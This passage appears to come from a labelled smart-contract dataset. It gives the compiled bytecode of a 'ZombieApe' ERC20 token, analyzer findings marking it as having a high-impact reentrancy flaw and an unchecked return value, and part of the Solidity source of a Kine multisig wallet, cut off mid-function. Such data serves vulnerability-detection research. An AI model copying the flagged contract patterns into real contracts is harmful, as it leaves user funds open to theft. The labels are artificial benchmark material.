61034e610ba5565b005b34801561035c57600080fd5b50610365610c5a565b6040516103729190612da6565b60405180910390f35b34801561038757600080fd5b50610390610c83565b60405161039d9190612e8f565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906129b2565b610cc0565b6040516103da9190612e74565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a81565b610cde565b005b34801561041857600080fd5b50610421610db7565b005b34801561042f57600080fd5b50610438610e31565b005b34801561044657600080fd5b50610461600480360381019061045c9190612927565b6113e9565b60405161046e9190613031565b60405180910390f35b60606040518060400160405280600981526020017f5a6f6d6269654170650000000000000000000000000000000000000000000000815250905090565b60006104c86104c1611470565b8484611478565b6001905092915050565b6000670de0b6b36bc93600905090565b6104ea611470565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f71565b60405180910390fd5b60005b815181101561062e576001600660008484815181106105c2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061062690613347565b91505061057a565b5050565b600061063f848484611643565b6107008461064b611470565b6106fb8560405180606001604052806028815260200161376a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b1611470565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cd69092919063ffffffff16565b611478565b600190509392505050565b610713611470565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790612f71565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61080c611470565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089090612f71565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108be611470565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612f71565b60405180910390fd5b6000811161095857600080fd5b610986606461097883670de0b6b36bc93600611d3a90919063ffffffff16565b611db590919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d0611470565b73ffffffffffffffffffffffffffffffffffffffff16146109f057600080fd5b60004790506109fe81611dff565b50565b6000610a4b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6b565b9050919050565b610a5a611470565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ade90612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bad611470565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190612f71565b60405180910390fd5b670de0b6b36bc93600600f81905550670de0b6b36bc93600601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f5a6f6d6269654170650000000000000000000000000000000000000000000000815250905090565b6000610cd4610ccd611470565b8484611643565b6001905092915050565b610ce6611470565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6a90612f71565b60405180910390fd5b60008111610d8057600080fd5b610dae6064610da083670de0b6b36bc93600611d3a90919063ffffffff16565b611db590919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610df8611470565b73ffffffffffffffffffffffffffffffffffffffff1614610e1857600080fd5b6000610e2330610a01565b9050610e2e81611ed9565b50565b610e39611470565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebd90612f71565b60405180910390fd5b600e60149054906101000a900460ff1615610f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d90613011565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fa530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b36bc93600611478565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610feb57600080fd5b505afa158015610fff573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102391906128fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108557600080fd5b505afa158015611099573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bd91906128fe565b6040518363ffffffff1660e01b81526004016110da929190612dc1565b602060405180830381600087803b1580156110f457600080fd5b505af1158015611108573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112c91906128fe565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111b530610a01565b6000806111c0610c5a565b426040518863ffffffff1660e01b81526004016111e296959493929190612e13565b6060604051808303818588803b1580156111fb57600080fd5b505af115801561120f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906112349190612aaa565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555061129d6103e861128f600f670de0b6b36bc93600611d3a90919063ffffffff16565b611db590919063ffffffff16565b600f819055506112d36103e86112c5601e670de0b6b36bc93600611d3a90919063ffffffff16565b611db590919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611393929190612dea565b602060405180830381600087803b1580156113ad57600080fd5b505af11580156113c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e59190612a58565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114df90612ff1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90612f11565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116369190613031565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116aa90612fb1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171a90612eb1565b60405180910390fd5b60008111611766576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175d90612f91565b60405180910390fd5b6000600a819055506006600b8190555061177e610c5a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117ec57506117bc610c5a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cc657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118955750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61189e57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119495750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561199f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119b75750600e60179054906101000a900460ff165b15611af557600f54811115611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f890612ed1565b60405180910390fd5b60105481611a0e84610a01565b611a189190613167565b1115611a59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5090612fd1565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aa457600080fd5b601e42611ab19190613167565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ba05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c0c576000600a819055506007600b819055505b6000611c1730610a01565b9050600e60159054906101000a900460ff16158015611c845750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c9c5750600e60169054906101000a900460ff165b15611cc457611caa81611ed9565b60004790506000811115611cc257611cc147611dff565b5b505b505b611cd18383836121d3565b505050565b6000838311158290611d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d159190612e8f565b60405180910390fd5b5060008385611d2d9190613248565b9050809150509392505050565b600080831415611d4d5760009050611daf565b60008284611d5b91906131ee565b9050828482611d6a91906131bd565b14611daa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da190612f51565b60405180910390fd5b809150505b92915050565b6000611df783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e3565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e67573d6000803e3d6000fd5b5050565b6000600854821115611eb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ea990612ef1565b60405180910390fd5b6000611ebc612246565b9050611ed18184611db590919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f37577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f655781602001602082028036833780820191505090505b5090503081600081518110611fa3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561204557600080fd5b505afa158015612059573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061207d91906128fe565b816001815181106120b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061211e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611478565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161218295949392919061304c565b600060405180830381600087803b15801561219c57600080fd5b505af11580156121b0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121de838383612271565b505050565b6000808311829061222a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122219190612e8f565b60405180910390fd5b506000838561223991906131bd565b9050809150509392505050565b600080600061225361243c565b9150915061226a8183611db590919063ffffffff16565b9250505090565b6000806000806000806122838761249b565b9550955095509550955095506122e186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c2816125ab565b6123cc8483612668565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124299190613031565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b36bc936009050612470670de0b6b36bc93600600854611db590919063ffffffff16565b82101561248e57600854670de0b6b36bc93600935093505050612497565b81819350935050505b9091565b60008060008060008060008060006124b88a600a54600b546126a2565b92509250925060006124c8612246565b905060008060006124db8e878787612738565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061254583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cd6565b905092915050565b600080828461255c9190613167565b9050838110156125a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259890612f31565b60405180910390fd5b8091505092915050565b60006125b5612246565b905060006125cc8284611d3a90919063ffffffff16565b905061262081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61267d8260085461250390919063ffffffff16565b6008819055506126988160095461254d90919063ffffffff16565b6009819055505050565b6000806000806126ce60646126c0888a611d3a90919063ffffffff16565b611db590919063ffffffff16565b905060006126f860646126ea888b611d3a90919063ffffffff16565b611db590919063ffffffff16565b9050600061272182612713858c61250390919063ffffffff16565b61250390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127518589611d3a90919063ffffffff16565b905060006127688689611d3a90919063ffffffff16565b9050600061277f8789611d3a90919063ffffffff16565b905060006127a88261279a858761250390919063ffffffff16565b61250390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127d46127cf846130e6565b6130c1565b905080838252602082019050828560208602820111156127f357600080fd5b60005b858110156128235781612809888261282d565b8452602084019350602083019250506001810190506127f6565b5050509392505050565b60008135905061283c81613724565b92915050565b60008151905061285181613724565b92915050565b600082601f83011261286857600080fd5b81356128788482602086016127c1565b91505092915050565b6000813590506128908161373b565b92915050565b6000815190506128a58161373b565b92915050565b6000813590506128ba81613752565b92915050565b6000815190506128cf81613752565b92915050565b6000602082840312156128e757600080fd5b60006128f58482850161282d565b91505092915050565b60006020828403121561291057600080fd5b600061291e84828501612842565b91505092915050565b6000806040838503121561293a57600080fd5b60006129488582860161282d565b92505060206129598582860161282d565b9150509250929050565b60008060006060848603121561297857600080fd5b60006129868682870161282d565b93505060206129978682870161282d565b92505060406129a8868287016128ab565b9150509250925092565b600080604083850312156129c557600080fd5b60006129d38582860161282d565b92505060206129e4858286016128ab565b9150509250929050565b600060208284031215612a0057600080fd5b600082013567ffffffffffffffff811115612a1a57600080fd5b612a2684828501612857565b91505092915050565b600060208284031215612a4157600080fd5b6000612a4f84828501612881565b91505092915050565b600060208284031215612a6a57600080fd5b6000612a7884828501612896565b91505092915050565b600060208284031215612a9357600080fd5b6000612aa1848285016128ab565b91505092915050565b600080600060608486031215612abf57600080fd5b6000612acd868287016128c0565b9350506020612ade868287016128c0565b9250506040612aef868287016128c0565b9150509250925092565b6000612b058383612b11565b60208301905092915050565b612b1a8161327c565b82525050565b612b298161327c565b82525050565b6000612b3a82613122565b612b448185613145565b9350612b4f83613112565b8060005b83811015612b80578151612b678882612af9565b9750612b7283613138565b925050600181019050612b53565b5085935050505092915050565b612b968161328e565b82525050565b612ba5816132d1565b82525050565b6000612bb68261312d565b612bc08185613156565b9350612bd08185602086016132e3565b612bd98161341d565b840191505092915050565b6000612bf1602383613156565b9150612bfc8261342e565b604082019050919050565b6000612c14601983613156565b9150612c1f8261347d565b602082019050919050565b6000612c37602a83613156565b9150612c42826134a6565b604082019050919050565b6000612c5a602283613156565b9150612c65826134f5565b604082019050919050565b6000612c7d601b83613156565b9150612c8882613544565b602082019050919050565b6000612ca0602183613156565b9150612cab8261356d565b604082019050919050565b6000612cc3602083613156565b9150612cce826135bc565b602082019050919050565b6000612ce6602983613156565b9150612cf1826135e5565b604082019050919050565b6000612d09602583613156565b9150612d1482613634565b604082019050919050565b6000612d2c601a83613156565b9150612d3782613683565b602082019050919050565b6000612d4f602483613156565b9150612d5a826136ac565b604082019050919050565b6000612d72601783613156565b9150612d7d826136fb565b602082019050919050565b612d91816132ba565b82525050565b612da0816132c4565b82525050565b6000602082019050612dbb6000830184612b20565b92915050565b6000604082019050612dd66000830185612b20565b612de36020830184612b20565b9392505050565b6000604082019050612dff6000830185612b20565b612e0c6020830184612d88565b9392505050565b600060c082019050612e286000830189612b20565b612e356020830188612d88565b612e426040830187612b9c565b612e4f6060830186612b9c565b612e5c6080830185612b20565b612e6960a0830184612d88565b979650505050505050565b6000602082019050612e896000830184612b8d565b92915050565b60006020820190508181036000830152612ea98184612bab565b905092915050565b60006020820190508181036000830152612eca81612be4565b9050919050565b60006020820190508181036000830152612eea81612c07565b9050919050565b60006020820190508181036000830152612f0a81612c2a565b9050919050565b60006020820190508181036000830152612f2a81612c4d565b9050919050565b60006020820190508181036000830152612f4a81612c70565b9050919050565b60006020820190508181036000830152612f6a81612c93565b9050919050565b60006020820190508181036000830152612f8a81612cb6565b9050919050565b60006020820190508181036000830152612faa81612cd9565b9050919050565b60006020820190508181036000830152612fca81612cfc565b9050919050565b60006020820190508181036000830152612fea81612d1f565b9050919050565b6000602082019050818103600083015261300a81612d42565b9050919050565b6000602082019050818103600083015261302a81612d65565b9050919050565b60006020820190506130466000830184612d88565b92915050565b600060a0820190506130616000830188612d88565b61306e6020830187612b9c565b81810360408301526130808186612b2f565b905061308f6060830185612b20565b61309c6080830184612d88565b9695505050505050565b60006020820190506130bb6000830184612d97565b92915050565b60006130cb6130dc565b90506130d78282613316565b919050565b6000604051905090565b600067ffffffffffffffff821115613101576131006133ee565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613172826132ba565b915061317d836132ba565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131b2576131b1613390565b5b828201905092915050565b60006131c8826132ba565b91506131d3836132ba565b9250826131e3576131e26133bf565b5b828204905092915050565b60006131f9826132ba565b9150613204836132ba565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561323d5761323c613390565b5b828202905092915050565b6000613253826132ba565b915061325e836132ba565b92508282101561327157613270613390565b5b828203905092915050565b60006132878261329a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132dc826132ba565b9050919050565b60005b838110156133015780820151818401526020810190506132e6565b83811115613310576000848401525b50505050565b61331f8261341d565b810181811067ffffffffffffffff8211171561333e5761333d6133ee565b5b80604052505050565b6000613352826132ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561338557613384613390565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61372d8161327c565b811461373857600080fd5b50565b6137448161328e565b811461374f57600080fd5b50565b61375b816132ba565b811461376657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd858083efb8ed6c69df05261a8c6c54d37a3b5add2b00f306b72904e54bdc2464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,092
0xa6e17aE4b683Ed2Ee7cB7414A92bD8316f330191
pragma solidity ^0.5.16; contract KineMultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId, bytes returnData); event ExecutionFailure(uint indexed transactionId, bytes returnData); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping(uint => Transaction) public transactions; mapping(uint => mapping(address => bool)) public confirmations; mapping(address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this), "only wallet self can call this function"); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner], "owner already exist"); _; } modifier ownerExists(address owner) { require(isOwner[owner], "owner not exist"); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != address(0), "transaction not exist"); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner], "transaction not confirmed"); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner], "transaction already confirmed"); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed, "transaction already executed"); _; } modifier notNull(address _address) { require(_address != address(0), "empty address"); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "ownerCount/required not valid"); _; } function() payable external { if (msg.value > 0) { emit Deposit(msg.sender, msg.value); } } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] memory _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0), "invalid/duplicated owner"); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes memory data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; (bool success, bytes memory returnData) = txn.destination.call.value(txn.value)(txn.data); if (success) emit Execution(transactionId, returnData); else { emit ExecutionFailure(transactionId, returnData); txn.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public view returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } return false; } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes memory data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination : destination, value : value, data : data, executed : false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public view returns (uint count) { count = 0; for (uint i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint count) { count = 0; for (uint i = 0; i < 